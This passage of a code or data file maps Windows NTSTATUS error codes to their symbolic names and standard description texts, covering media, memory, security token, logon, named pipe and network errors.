0x8000001E: ("STATUS_END_OF_MEDIA","{End of Media} The end of the media was encountered."),
0x8000001F: ("STATUS_BEGINNING_OF_MEDIA","The beginning of a tape or partition has been detected."),
0x80000020: ("STATUS_MEDIA_CHECK","{Media Changed} The media may have changed."),
0x80000021: ("STATUS_SETMARK_DETECTED","A tape access reached a set mark."),
0x80000022: ("STATUS_NO_DATA_DETECTED","During a tape access, the end of the data written is reached."),
0x80000023: ("STATUS_REDIRECTOR_HAS_OPEN_HANDLES","The redirector is in use and cannot be unloaded."),
0x80000024: ("STATUS_SERVER_HAS_OPEN_HANDLES","The server is in use and cannot be unloaded."),
0x80000025: ("STATUS_ALREADY_DISCONNECTED","The specified connection has already been disconnected."),
0x80000026: ("STATUS_LONGJUMP","A long jump has been executed."),
0x80000027: ("STATUS_CLEANER_CARTRIDGE_INSTALLED","A cleaner cartridge is present in the tape library."),
0x80000028: ("STATUS_PLUGPLAY_QUERY_VETOED","The Plug and Play query operation was not successful."),
0x80000029: ("STATUS_UNWIND_CONSOLIDATE","A frame consolidation has been executed."),
0x8000002A: ("STATUS_REGISTRY_HIVE_RECOVERED","{Registry Hive Recovered} The registry hive (file): %hs was corrupted and it has been recovered. Some data might have been lost."),
0x8000002B: ("STATUS_DLL_MIGHT_BE_INSECURE","The application is attempting to run executable code from the module %hs. This may be insecure. An alternative, %hs, is available. Should the application use the secure module %hs?"),
0x8000002C: ("STATUS_DLL_MIGHT_BE_INCOMPATIBLE","The application is loading executable code from the module %hs. This is secure but may be incompatible with previous releases of the operating system. An alternative, %hs, is available. Should the application use the secure module %hs?"),
0x8000002D: ("STATUS_STOPPED_ON_SYMLINK","The create operation stopped after reaching a symbolic link."),
0x80000288: ("STATUS_DEVICE_REQUIRES_CLEANING","The device has indicated that cleaning is necessary."),
0x80000289: ("STATUS_DEVICE_DOOR_OPEN","The device has indicated that its door is open. Further operations require it closed and secured."),
0x80000803: ("STATUS_DATA_LOST_REPAIR","Windows discovered a corruption in the file %hs. This file has now been repaired. Check if any data in the file was lost because of the corruption."),
0x80010001: ("DBG_EXCEPTION_NOT_HANDLED","Debugger did not handle the exception."),
0x80130001: ("STATUS_CLUSTER_NODE_ALREADY_UP","The cluster node is already up."),
0x80130002: ("STATUS_CLUSTER_NODE_ALREADY_DOWN","The cluster node is already down."),
0x80130003: ("STATUS_CLUSTER_NETWORK_ALREADY_ONLINE","The cluster network is already online."),
0x80130004: ("STATUS_CLUSTER_NETWORK_ALREADY_OFFLINE","The cluster network is already offline."),
0x80130005: ("STATUS_CLUSTER_NODE_ALREADY_MEMBER","The cluster node is already a member of the cluster."),
0x80190009: ("STATUS_COULD_NOT_RESIZE_LOG","The log could not be set to the requested size."),
0x80190029: ("STATUS_NO_TXF_METADATA","There is no transaction metadata on the file."),
0x80190031: ("STATUS_CANT_RECOVER_WITH_HANDLE_OPEN","The file cannot be recovered because there is a handle still open on it."),
0x80190041: ("STATUS_TXF_METADATA_ALREADY_PRESENT","Transaction metadata is already present on this file and cannot be superseded."),
0x80190042: ("STATUS_TRANSACTION_SCOPE_CALLBACKS_NOT_SET","A transaction scope could not be entered because the scope handler has not been initialized."),
0x801B00EB: ("STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD_RECOVERED","{Display Driver Stopped Responding and recovered} The %hs display driver has stopped working normally. The recovery had been performed."),
0x801C0001: ("STATUS_FLT_BUFFER_TOO_SMALL","{Buffer too small} The buffer is too small to contain the entry. No information has been written to the buffer."),
0x80210001: ("STATUS_FVE_PARTIAL_METADATA","Volume metadata read or write is incomplete."),
0x80210002: ("STATUS_FVE_TRANSIENT_STATE","BitLocker encryption keys were ignored because the volume was in a transient state."),
0xC0000001: ("STATUS_UNSUCCESSFUL","{Operation Failed} The requested operation was unsuccessful."),
0xC0000002: ("STATUS_NOT_IMPLEMENTED","{Not Implemented} The requested operation is not implemented."),
0xC0000003: ("STATUS_INVALID_INFO_CLASS","{Invalid Parameter} The specified information class is not a valid information class for the specified object."),
0xC0000004: ("STATUS_INFO_LENGTH_MISMATCH","The specified information record length does not match the length that is required for the specified information class."),
0xC0000005: ("STATUS_ACCESS_VIOLATION","The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s."),
0xC0000006: ("STATUS_IN_PAGE_ERROR","The instruction at 0x%08lx referenced memory at 0x%08lx. The required data was not placed into memory because of an I/O error status of 0x%08lx."),
0xC0000007: ("STATUS_PAGEFILE_QUOTA","The page file quota for the process has been exhausted."),
0xC0000008: ("STATUS_INVALID_HANDLE","An invalid HANDLE was specified."),
0xC0000009: ("STATUS_BAD_INITIAL_STACK","An invalid initial stack was specified in a call to NtCreateThread."),
0xC000000A: ("STATUS_BAD_INITIAL_PC","An invalid initial start address was specified in a call to NtCreateThread."),
0xC000000B: ("STATUS_INVALID_CID","An invalid client ID was specified."),
0xC000000C: ("STATUS_TIMER_NOT_CANCELED","An attempt was made to cancel or set a timer that has an associated APC and the specified thread is not the thread that originally set the timer with an associated APC routine."),
0xC000000D: ("STATUS_INVALID_PARAMETER","An invalid parameter was passed to a service or function."),
0xC000000E: ("STATUS_NO_SUCH_DEVICE","A device that does not exist was specified."),
0xC000000F: ("STATUS_NO_SUCH_FILE","{File Not Found} The file %hs does not exist."),
0xC0000010: ("STATUS_INVALID_DEVICE_REQUEST","The specified request is not a valid operation for the target device."),
0xC0000011: ("STATUS_END_OF_FILE","The end-of-file marker has been reached. There is no valid data in the file beyond this marker."),
0xC0000012: ("STATUS_WRONG_VOLUME","{Wrong Volume} The wrong volume is in the drive. Insert volume %hs into drive %hs."),
0xC0000013: ("STATUS_NO_MEDIA_IN_DEVICE","{No Disk} There is no disk in the drive. Insert a disk into drive %hs."),
0xC0000014: ("STATUS_UNRECOGNIZED_MEDIA","{Unknown Disk Format} The disk in drive %hs is not formatted properly. Check the disk, and reformat it, if needed."),
0xC0000015: ("STATUS_NONEXISTENT_SECTOR","{Sector Not Found} The specified sector does not exist."),
0xC0000016: ("STATUS_MORE_PROCESSING_REQUIRED","{Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete."),
0xC0000017: ("STATUS_NO_MEMORY","{Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation."),
0xC0000018: ("STATUS_CONFLICTING_ADDRESSES","{Conflicting Address Range} The specified address range conflicts with the address space."),
0xC0000019: ("STATUS_NOT_MAPPED_VIEW","The address range to unmap is not a mapped view."),
0xC000001A: ("STATUS_UNABLE_TO_FREE_VM","The virtual memory cannot be freed."),
0xC000001B: ("STATUS_UNABLE_TO_DELETE_SECTION","The specified section cannot be deleted."),
0xC000001C: ("STATUS_INVALID_SYSTEM_SERVICE","An invalid system service was specified in a system service call."),
0xC000001D: ("STATUS_ILLEGAL_INSTRUCTION","{EXCEPTION} Illegal Instruction An attempt was made to execute an illegal instruction."),
0xC000001E: ("STATUS_INVALID_LOCK_SEQUENCE","{Invalid Lock Sequence} An attempt was made to execute an invalid lock sequence."),
0xC000001F: ("STATUS_INVALID_VIEW_SIZE","{Invalid Mapping} An attempt was made to create a view for a section that is bigger than the section."),
0xC0000020: ("STATUS_INVALID_FILE_FOR_SECTION","{Bad File} The attributes of the specified mapping file for a section of memory cannot be read."),
0xC0000021: ("STATUS_ALREADY_COMMITTED","{Already Committed} The specified address range is already committed."),
0xC0000022: ("STATUS_ACCESS_DENIED","{Access Denied} A process has requested access to an object but has not been granted those access rights."),
0xC0000023: ("STATUS_BUFFER_TOO_SMALL","{Buffer Too Small} The buffer is too small to contain the entry. No information has been written to the buffer."),
0xC0000024: ("STATUS_OBJECT_TYPE_MISMATCH","{Wrong Type} There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request."),
0xC0000025: ("STATUS_NONCONTINUABLE_EXCEPTION","{EXCEPTION} Cannot Continue Windows cannot continue from this exception."),
0xC0000026: ("STATUS_INVALID_DISPOSITION","An invalid exception disposition was returned by an exception handler."),
0xC0000027: ("STATUS_UNWIND","Unwind exception code."),
0xC0000028: ("STATUS_BAD_STACK","An invalid or unaligned stack was encountered during an unwind operation."),
0xC0000029: ("STATUS_INVALID_UNWIND_TARGET","An invalid unwind target was encountered during an unwind operation."),
0xC000002A: ("STATUS_NOT_LOCKED","An attempt was made to unlock a page of memory that was not locked."),
0xC000002B: ("STATUS_PARITY_ERROR","A device parity error on an I/O operation."),
0xC000002C: ("STATUS_UNABLE_TO_DECOMMIT_VM","An attempt was made to decommit uncommitted virtual memory."),
0xC000002D: ("STATUS_NOT_COMMITTED","An attempt was made to change the attributes on memory that has not been committed."),
0xC000002E: ("STATUS_INVALID_PORT_ATTRIBUTES","Invalid object attributes specified to NtCreatePort or invalid port attributes specified to NtConnectPort."),
0xC000002F: ("STATUS_PORT_MESSAGE_TOO_LONG","The length of the message that was passed to NtRequestPort or NtRequestWaitReplyPort is longer than the maximum message that is allowed by the port."),
0xC0000030: ("STATUS_INVALID_PARAMETER_MIX","An invalid combination of parameters was specified."),
0xC0000031: ("STATUS_INVALID_QUOTA_LOWER","An attempt was made to lower a quota limit below the current usage."),
0xC0000032: ("STATUS_DISK_CORRUPT_ERROR","{Corrupt Disk} The file system structure on the disk is corrupt and unusable. Run the Chkdsk utility on the volume %hs."),
0xC0000033: ("STATUS_OBJECT_NAME_INVALID","The object name is invalid."),
0xC0000034: ("STATUS_OBJECT_NAME_NOT_FOUND","The object name is not found."),
0xC0000035: ("STATUS_OBJECT_NAME_COLLISION","The object name already exists."),
0xC0000037: ("STATUS_PORT_DISCONNECTED","An attempt was made to send a message to a disconnected communication port."),
0xC0000038: ("STATUS_DEVICE_ALREADY_ATTACHED","An attempt was made to attach to a device that was already attached to another device."),
0xC0000039: ("STATUS_OBJECT_PATH_INVALID","The object path component was not a directory object."),
0xC000003A: ("STATUS_OBJECT_PATH_NOT_FOUND","{Path Not Found} The path %hs does not exist."),
0xC000003B: ("STATUS_OBJECT_PATH_SYNTAX_BAD","The object path component was not a directory object."),
0xC000003C: ("STATUS_DATA_OVERRUN","{Data Overrun} A data overrun error occurred."),
0xC000003D: ("STATUS_DATA_LATE_ERROR","{Data Late} A data late error occurred."),
0xC000003E: ("STATUS_DATA_ERROR","{Data Error} An error occurred in reading or writing data."),
0xC000003F: ("STATUS_CRC_ERROR","{Bad CRC} A cyclic redundancy check (CRC) checksum error occurred."),
0xC0000040: ("STATUS_SECTION_TOO_BIG","{Section Too Large} The specified section is too big to map the file."),
0xC0000041: ("STATUS_PORT_CONNECTION_REFUSED","The NtConnectPort request is refused."),
0xC0000042: ("STATUS_INVALID_PORT_HANDLE","The type of port handle is invalid for the operation that is requested."),
0xC0000043: ("STATUS_SHARING_VIOLATION","A file cannot be opened because the share access flags are incompatible."),
0xC0000044: ("STATUS_QUOTA_EXCEEDED","Insufficient quota exists to complete the operation."),
0xC0000045: ("STATUS_INVALID_PAGE_PROTECTION","The specified page protection was not valid."),
0xC0000046: ("STATUS_MUTANT_NOT_OWNED","An attempt to release a mutant object was made by a thread that was not the owner of the mutant object."),
0xC0000047: ("STATUS_SEMAPHORE_LIMIT_EXCEEDED","An attempt was made to release a semaphore such that its maximum count would have been exceeded."),
0xC0000048: ("STATUS_PORT_ALREADY_SET","An attempt was made to set the DebugPort or ExceptionPort of a process, but a port already exists in the process, or an attempt was made to set the CompletionPort of a file but a port was already set in the file, or an attempt was made to set the associated completion port of an ALPC port but it is already set."),
0xC0000049: ("STATUS_SECTION_NOT_IMAGE","An attempt was made to query image information on a section that does not map an image."),
0xC000004A: ("STATUS_SUSPEND_COUNT_EXCEEDED","An attempt was made to suspend a thread whose suspend count was at its maximum."),
0xC000004B: ("STATUS_THREAD_IS_TERMINATING","An attempt was made to suspend a thread that has begun termination."),
0xC000004C: ("STATUS_BAD_WORKING_SET_LIMIT","An attempt was made to set the working set limit to an invalid value (for example, the minimum greater than maximum)."),
0xC000004D: ("STATUS_INCOMPATIBLE_FILE_MAP","A section was created to map a file that is not compatible with an already existing section that maps the same file."),
0xC000004E: ("STATUS_SECTION_PROTECTION","A view to a section specifies a protection that is incompatible with the protection of the initial view."),
0xC000004F: ("STATUS_EAS_NOT_SUPPORTED","An operation involving EAs failed because the file system does not support EAs."),
0xC0000050: ("STATUS_EA_TOO_LARGE","An EA operation failed because the EA set is too large."),
0xC0000051: ("STATUS_NONEXISTENT_EA_ENTRY","An EA operation failed because the name or EA index is invalid."),
0xC0000052: ("STATUS_NO_EAS_ON_FILE","The file for which EAs were requested has no EAs."),
0xC0000053: ("STATUS_EA_CORRUPT_ERROR","The EA is corrupt and cannot be read."),
0xC0000054: ("STATUS_FILE_LOCK_CONFLICT","A requested read/write cannot be granted due to a conflicting file lock."),
0xC0000055: ("STATUS_LOCK_NOT_GRANTED","A requested file lock cannot be granted due to other existing locks."),
0xC0000056: ("STATUS_DELETE_PENDING","A non-close operation has been requested of a file object that has a delete pending."),
0xC0000057: ("STATUS_CTL_FILE_NOT_SUPPORTED","An attempt was made to set the control attribute on a file. This attribute is not supported in the destination file system."),
0xC0000058: ("STATUS_UNKNOWN_REVISION","Indicates a revision number that was encountered or specified is not one that is known by the service. It may be a more recent revision than the service is aware of."),
0xC0000059: ("STATUS_REVISION_MISMATCH","Indicates that two revision levels are incompatible."),
0xC000005A: ("STATUS_INVALID_OWNER","Indicates a particular security ID may not be assigned as the owner of an object."),
0xC000005B: ("STATUS_INVALID_PRIMARY_GROUP","Indicates a particular security ID may not be assigned as the primary group of an object."),
0xC000005C: ("STATUS_NO_IMPERSONATION_TOKEN","An attempt has been made to operate on an impersonation token by a thread that is not currently impersonating a client."),
0xC000005D: ("STATUS_CANT_DISABLE_MANDATORY","A mandatory group may not be disabled."),
0xC000005E: ("STATUS_NO_LOGON_SERVERS","No logon servers are currently available to service the logon request."),
0xC000005F: ("STATUS_NO_SUCH_LOGON_SESSION","A specified logon session does not exist. It may already have been terminated."),
0xC0000060: ("STATUS_NO_SUCH_PRIVILEGE","A specified privilege does not exist."),
0xC0000061: ("STATUS_PRIVILEGE_NOT_HELD","A required privilege is not held by the client."),
0xC0000062: ("STATUS_INVALID_ACCOUNT_NAME","The name provided is not a properly formed account name."),
0xC0000063: ("STATUS_USER_EXISTS","The specified account already exists."),
0xC0000064: ("STATUS_NO_SUCH_USER","The specified account does not exist."),
0xC0000065: ("STATUS_GROUP_EXISTS","The specified group already exists."),
0xC0000066: ("STATUS_NO_SUCH_GROUP","The specified group does not exist."),
0xC0000067: ("STATUS_MEMBER_IN_GROUP","The specified user account is already in the specified group account. Also used to indicate a group cannot be deleted because it contains a member."),
0xC0000068: ("STATUS_MEMBER_NOT_IN_GROUP","The specified user account is not a member of the specified group account."),
0xC0000069: ("STATUS_LAST_ADMIN","Indicates the requested operation would disable or delete the last remaining administration account. This is not allowed to prevent creating a situation in which the system cannot be administrated."),
0xC000006A: ("STATUS_WRONG_PASSWORD","When trying to update a password, this return status indicates that the value provided as the current password is not correct."),
0xC000006B: ("STATUS_ILL_FORMED_PASSWORD","When trying to update a password, this return status indicates that the value provided for the new password contains values that are not allowed in passwords."),
0xC000006C: ("STATUS_PASSWORD_RESTRICTION","When trying to update a password, this status indicates that some password update rule has been violated. For example, the password may not meet length criteria."),
0xC000006D: ("STATUS_LOGON_FAILURE","The attempted logon is invalid. This is either due to a bad username or authentication information."),
0xC000006E: ("STATUS_ACCOUNT_RESTRICTION","Indicates a referenced user name and authentication information are valid, but some user account restriction has prevented successful authentication (such as time-of-day restrictions)."),
0xC000006F: ("STATUS_INVALID_LOGON_HOURS","The user account has time restrictions and may not be logged onto at this time."),
0xC0000070: ("STATUS_INVALID_WORKSTATION","The user account is restricted so that it may not be used to log on from the source workstation."),
0xC0000071: ("STATUS_PASSWORD_EXPIRED","The user account password has expired."),
0xC0000072: ("STATUS_ACCOUNT_DISABLED","The referenced account is currently disabled and may not be logged on to."),
0xC0000073: ("STATUS_NONE_MAPPED","None of the information to be translated has been translated."),
0xC0000074: ("STATUS_TOO_MANY_LUIDS_REQUESTED","The number of LUIDs requested may not be allocated with a single allocation."),
0xC0000075: ("STATUS_LUIDS_EXHAUSTED","Indicates there are no more LUIDs to allocate."),
0xC0000076: ("STATUS_INVALID_SUB_AUTHORITY","Indicates the sub-authority value is invalid for the particular use."),
0xC0000077: ("STATUS_INVALID_ACL","Indicates the ACL structure is not valid."),
0xC0000078: ("STATUS_INVALID_SID","Indicates the SID structure is not valid."),
0xC0000079: ("STATUS_INVALID_SECURITY_DESCR","Indicates the SECURITY_DESCRIPTOR structure is not valid."),
0xC000007A: ("STATUS_PROCEDURE_NOT_FOUND","Indicates the specified procedure address cannot be found in the DLL."),
0xC000007B: ("STATUS_INVALID_IMAGE_FORMAT","{Bad Image} %hs is either not designed to run on Windows or it contains an error. Try installing the program again using the original installation media or contact your system administrator or the software vendor for support."),
0xC000007C: ("STATUS_NO_TOKEN","An attempt was made to reference a token that does not exist. This is typically done by referencing the token that is associated with a thread when the thread is not impersonating a client."),
0xC000007D: ("STATUS_BAD_INHERITANCE_ACL","Indicates that an attempt to build either an inherited ACL or ACE was not successful. This can be caused by a number of things. One of the more probable causes is the replacement of a CreatorId with a SID that did not fit into the ACE or ACL."),
0xC000007E: ("STATUS_RANGE_NOT_LOCKED","The range specified in NtUnlockFile was not locked."),
0xC000007F: ("STATUS_DISK_FULL","An operation failed because the disk was full."),
0xC0000080: ("STATUS_SERVER_DISABLED","The GUID allocation server is disabled at the moment."),
0xC0000081: ("STATUS_SERVER_NOT_DISABLED","The GUID allocation server is enabled at the moment."),
0xC0000082: ("STATUS_TOO_MANY_GUIDS_REQUESTED","Too many GUIDs were requested from the allocation server at once."),
0xC0000083: ("STATUS_GUIDS_EXHAUSTED","The GUIDs could not be allocated because the Authority Agent was exhausted."),
0xC0000084: ("STATUS_INVALID_ID_AUTHORITY","The value provided was an invalid value for an identifier authority."),
0xC0000085: ("STATUS_AGENTS_EXHAUSTED","No more authority agent values are available for the particular identifier authority value."),
0xC0000086: ("STATUS_INVALID_VOLUME_LABEL","An invalid volume label has been specified."),
0xC0000087: ("STATUS_SECTION_NOT_EXTENDED","A mapped section could not be extended."),
0xC0000088: ("STATUS_NOT_MAPPED_DATA","Specified section to flush does not map a data file."),
0xC0000089: ("STATUS_RESOURCE_DATA_NOT_FOUND","Indicates the specified image file did not contain a resource section."),
0xC000008A: ("STATUS_RESOURCE_TYPE_NOT_FOUND","Indicates the specified resource type cannot be found in the image file."),
0xC000008B: ("STATUS_RESOURCE_NAME_NOT_FOUND","Indicates the specified resource name cannot be found in the image file."),
0xC000008C: ("STATUS_ARRAY_BOUNDS_EXCEEDED","{EXCEPTION} Array bounds exceeded."),
0xC000008D: ("STATUS_FLOAT_DENORMAL_OPERAND","{EXCEPTION} Floating-point denormal operand."),
0xC000008E: ("STATUS_FLOAT_DIVIDE_BY_ZERO","{EXCEPTION} Floating-point division by zero."),
0xC000008F: ("STATUS_FLOAT_INEXACT_RESULT","{EXCEPTION} Floating-point inexact result."),
0xC0000090: ("STATUS_FLOAT_INVALID_OPERATION","{EXCEPTION} Floating-point invalid operation."),
0xC0000091: ("STATUS_FLOAT_OVERFLOW","{EXCEPTION} Floating-point overflow."),
0xC0000092: ("STATUS_FLOAT_STACK_CHECK","{EXCEPTION} Floating-point stack check."),
0xC0000093: ("STATUS_FLOAT_UNDERFLOW","{EXCEPTION} Floating-point underflow."),
0xC0000094: ("STATUS_INTEGER_DIVIDE_BY_ZERO","{EXCEPTION} Integer division by zero."),
0xC0000095: ("STATUS_INTEGER_OVERFLOW","{EXCEPTION} Integer overflow."),
0xC0000096: ("STATUS_PRIVILEGED_INSTRUCTION","{EXCEPTION} Privileged instruction."),
0xC0000097: ("STATUS_TOO_MANY_PAGING_FILES","An attempt was made to install more paging files than the system supports."),
0xC0000098: ("STATUS_FILE_INVALID","The volume for a file has been externally altered such that the opened file is no longer valid."),
0xC0000099: ("STATUS_ALLOTTED_SPACE_EXCEEDED","When a block of memory is allotted for future updates, such as the memory allocated to hold discretionary access control and primary group information, successive updates may exceed the amount of memory originally allotted. Because a quota may already have been charged to several processes that have handles to the object, it is not reasonable to alter the size of the allocated memory. Instead, a request that requires more memory than has been allotted must fail and the STATUS_ALLOTTED_SPACE_EXCEEDED error returned."),
0xC000009A: ("STATUS_INSUFFICIENT_RESOURCES","Insufficient system resources exist to complete the API."),
0xC000009B: ("STATUS_DFS_EXIT_PATH_FOUND","An attempt has been made to open a DFS exit path control file."),
0xC000009C: ("STATUS_DEVICE_DATA_ERROR","There are bad blocks (sectors) on the hard disk."),
0xC000009D: ("STATUS_DEVICE_NOT_CONNECTED","There is bad cabling, non-termination, or the controller is not able to obtain access to the hard disk."),
0xC000009F: ("STATUS_FREE_VM_NOT_AT_BASE","Virtual memory cannot be freed because the base address is not the base of the region and a region size of zero was specified."),
0xC00000A0: ("STATUS_MEMORY_NOT_ALLOCATED","An attempt was made to free virtual memory that is not allocated."),
0xC00000A1: ("STATUS_WORKING_SET_QUOTA","The working set is not big enough to allow the requested pages to be locked."),
0xC00000A2: ("STATUS_MEDIA_WRITE_PROTECTED","{Write Protect Error} The disk cannot be written to because it is write-protected. Remove the write protection from the volume %hs in drive %hs."),
0xC00000A3: ("STATUS_DEVICE_NOT_READY","{Drive Not Ready} The drive is not ready for use; its door may be open. Check drive %hs and make sure that a disk is inserted and that the drive door is closed."),
0xC00000A4: ("STATUS_INVALID_GROUP_ATTRIBUTES","The specified attributes are invalid or are incompatible with the attributes for the group as a whole."),
0xC00000A5: ("STATUS_BAD_IMPERSONATION_LEVEL","A specified impersonation level is invalid. Also used to indicate that a required impersonation level was not provided."),
0xC00000A6: ("STATUS_CANT_OPEN_ANONYMOUS","An attempt was made to open an anonymous-level token. Anonymous tokens may not be opened."),
0xC00000A7: ("STATUS_BAD_VALIDATION_CLASS","The validation information class requested was invalid."),
0xC00000A8: ("STATUS_BAD_TOKEN_TYPE","The type of a token object is inappropriate for its attempted use."),
0xC00000A9: ("STATUS_BAD_MASTER_BOOT_RECORD","The type of a token object is inappropriate for its attempted use."),
0xC00000AA: ("STATUS_INSTRUCTION_MISALIGNMENT","An attempt was made to execute an instruction at an unaligned address and the host system does not support unaligned instruction references."),
0xC00000AB: ("STATUS_INSTANCE_NOT_AVAILABLE","The maximum named pipe instance count has been reached."),
0xC00000AC: ("STATUS_PIPE_NOT_AVAILABLE","An instance of a named pipe cannot be found in the listening state."),
0xC00000AD: ("STATUS_INVALID_PIPE_STATE","The named pipe is not in the connected or closing state."),
0xC00000AE: ("STATUS_PIPE_BUSY","The specified pipe is set to complete operations and there are current I/O operations queued so that it cannot be changed to queue operations."),
0xC00000AF: ("STATUS_ILLEGAL_FUNCTION","The specified handle is not open to the server end of the named pipe."),
0xC00000B0: ("STATUS_PIPE_DISCONNECTED","The specified named pipe is in the disconnected state."),
0xC00000B1: ("STATUS_PIPE_CLOSING","The specified named pipe is in the closing state."),
0xC00000B2: ("STATUS_PIPE_CONNECTED","The specified named pipe is in the connected state."),
0xC00000B3: ("STATUS_PIPE_LISTENING","The specified named pipe is in the listening state."),
0xC00000B4: ("STATUS_INVALID_READ_MODE","The specified named pipe is not in message mode."),
0xC00000B5: ("STATUS_IO_TIMEOUT","{Device Timeout} The specified I/O operation on %hs was not completed before the time-out period expired."),
0xC00000B6: ("STATUS_FILE_FORCED_CLOSED","The specified file has been closed by another process."),
0xC00000B7: ("STATUS_PROFILING_NOT_STARTED","Profiling is not started."),
0xC00000B8: ("STATUS_PROFILING_NOT_STOPPED","Profiling is not stopped."),
0xC00000B9: ("STATUS_COULD_NOT_INTERPRET","The passed ACL did not contain the minimum required information."),
0xC00000BA: ("STATUS_FILE_IS_A_DIRECTORY","The file that was specified as a target is a directory, and the caller specified that it could be anything but a directory."),
0xC00000BB: ("STATUS_NOT_SUPPORTED","The request is not supported."),
0xC00000BC: ("STATUS_REMOTE_NOT_LISTENING","This remote computer is not listening."),
0xC00000BD: ("STATUS_DUPLICATE_NAME","A duplicate name exists on the network."),
0xC00000BE: ("STATUS_BAD_NETWORK_PATH","The network path cannot be located."),
0xC00000BF: ("STATUS_NETWORK_BUSY","The network is busy."),
0xC00000C0: ("STATUS_DEVICE_DOES_NOT_EXIST","This device does not exist."),
0xC00000C1: ("STATUS_TOO_MANY_COMMANDS","The network BIOS command limit has been reached."),
0xC00000C2: ("STATUS_ADAPTER_HARDWARE_ERROR","An I/O adapter hardware error has occurred."),
0xC00000C3: ("STATUS_INVALID_NETWORK_RESPONSE","The network responded incorrectly."),
0xC00000C4: ("STATUS_UNEXPECTED_NETWORK_ERROR","An unexpected network error occurred."),
0xC00000C5: ("STATUS_BAD_REMOTE_ADAPTER","The remote adapter is not compatible."),
0xC00000C6: ("STATUS_PRINT_QUEUE_FULL","The print queue is full."),
0xC00000C7: ("STATUS_NO_SPOOL_SPACE","Space to store the file that is waiting to be printed is not available on the server."),
0xC00000C8: ("STATUS_PRINT_CANCELLED","The requested print file has been canceled."),
0xC00000C9: ("STATUS_NETWORK_NAME_DELETED","The network name was deleted."),
0xC00000CA: ("STATUS_NETWORK_ACCESS_DENIED","Network access is denied."),
0xC00000CB: ("STATUS_BAD_DEVICE_TYPE","{Incorrect Network Resource Type} The specified device type (LPT, for example) conflicts with the actual device type on the remote resource."),
0xC00000CC: ("STATUS_BAD_NETWORK_NAME","{Network Name Not Found} The specified share name cannot be found on the remote server."),
0xC00000CD: ("STATUS_TOO_MANY_NAMES","The name limit for the network adapter card of the local computer was exceeded."),
0xC00000CE: ("STATUS_TOO_MANY_SESSIONS","The network BIOS session limit was exceeded."),
0xC00000CF: ("STATUS_SHARING_PAUSED","File sharing has been temporarily paused."),
0xC00000D0: ("STATUS_REQUEST_NOT_ACCEPTED","No more connections can be made to this remote computer at this time because the computer has already accepted the maximum number of connections."),
0xC00000D1: ("STATUS_REDIRECTOR_PAUSED","Print or disk redirection is temporarily paused."),
0xC00000D2: ("STATUS_NET_WRITE_FAULT","A network data fault occurred."),
0xC00000D3: ("STATUS_PROFILING_AT_LIMIT","The number of active profiling objects is at the maximum and no more may be started."),
0xC00000D4: ("STATUS_NOT_SAME_DEVICE","{Incorrect Volume} The destination file of a rename request is located on a different device than the source of the rename request."),
0xC00000D5: ("STATUS_FILE_RENAMED","The specified file has been renamed and thus cannot be modified."),
0xC00000D6: ("STATUS_VIRTUAL_CIRCUIT_CLOSED","{Network Request Timeout} The session with a remote server has been disconnected because the time-out interval for a request has expired."),
0xC00000D7: ("STATUS_NO_SECURITY_ON_OBJECT","Indicates an attempt was made to operate on the security of an object that does not have security associated with it."),
0xC00000D8: ("STATUS_CANT_WAIT","Used to indicate that an operation cannot continue without blocking for I/O."),
0xC00000D9: ("STATUS_PIPE_EMPTY","Used to indicate that a read operation was done on an empty pipe."),
0xC00000DA: ("STATUS_CANT_ACCESS_DOMAIN_INFO","Configuration information could not be read from the domain controller, either because the machine is unavailable or access has been denied."),
0xC00000DB: ("STATUS_CANT_TERMINATE_SELF","Indicates that a thread attempted to terminate itself by default (called NtTerminateThread with NULL) and it was the last thread in the current process."),
0xC00000DC: ("STATUS_INVALID_SERVER_STATE","Indicates the Sam Server was in the wrong state to perform the desired operation."),
0xC00000DD: ("STATUS_INVALID_DOMAIN_STATE","Indicates the domain was in the wrong state to perform the desired operation."),
0xC00000DE: ("STATUS_INVALID_DOMAIN_ROLE","This operation is only allowed for the primary domain controller of the domain."),
0xC00000DF: ("STATUS_NO_SUCH_DOMAIN","The specified domain did not exist."),
0xC00000E0: ("STATUS_DOMAIN_EXISTS","The specified domain already exists."),
0xC00000E1: ("STATUS_DOMAIN_LIMIT_EXCEEDED","An attempt was made to exceed the limit on the number of domains per server for this release."),
0xC00000E2: ("STATUS_OPLOCK_NOT_GRANTED","An error status returned when the opportunistic lock (oplock) request is denied."),
0xC00000E3: ("STATUS_INVALID_OPLOCK_PROTOCOL","An error status returned when an invalid opportunistic lock (oplock) acknowledgment is received by a file system."),
0xC00000E4: ("STATUS_INTERNAL_DB_CORRUPTION","This error indicates that the requested operation cannot be completed due to a catastrophic media failure or an on-disk data structure corruption."),
0xC00000E5: ("STATUS_INTERNAL_ERROR","An internal error occurred."),
0xC00000E6: ("STATUS_GENERIC_NOT_MAPPED","Indicates generic access types were contained in an access mask which should already be mapped to non-generic access types."),
0xC00000E7: ("STATUS_BAD_DESCRIPTOR_FORMAT","Indicates a security descriptor is not in the necessary format (absolute or self-relative)."),
0xC00000E8: ("STATUS_INVALID_USER_BUFFER","An access to a user buffer failed at an expected point in time. This code is defined because the caller does not want to accept STATUS_ACCESS_VIOLATION in its filter."),
0xC00000E9: ("STATUS_UNEXPECTED_IO_ERROR","If an I/O error that is not defined in the standard FsRtl filter is returned, it is converted to the following error, which is guaranteed to be in the filter. In this case, information is lost; however, the filter correctly handles the exception."),
0xC00000EA: ("STATUS_UNEXPECTED_MM_CREATE_ERR","If an MM error that is not defined in the standard FsRtl filter is returned, it is converted to one of the following errors, which are guaranteed to be in the filter. In this case, information is lost; however, the filter correctly handles the exception."),
0xC00000EB: ("STATUS_UNEXPECTED_MM_MAP_ERROR","If an MM error that is not defined in the standard FsRtl filter is returned, it is converted to one of the following errors, which are guaranteed to be in the filter. In this case, information is lost; however, the filter correctly handles the exception."),
0xC00000EC: ("STATUS_UNEXPECTED_MM_EXTEND_ERR","If an MM error that is not defined in the standard FsRtl filter is returned, it is converted to one of the following errors, which are guaranteed to be in the filter. In this case, information is lost; however, the filter correctly handles the exception."),
0xC00000ED: ("STATUS_NOT_LOGON_PROCESS","The requested action is restricted for use by logon processes only. The calling process has not registered as a logon process."),
0xC00000EE: ("STATUS_LOGON_SESSION_EXISTS","An attempt has been made to start a new session manager or LSA logon session by using an ID that is already in use."),
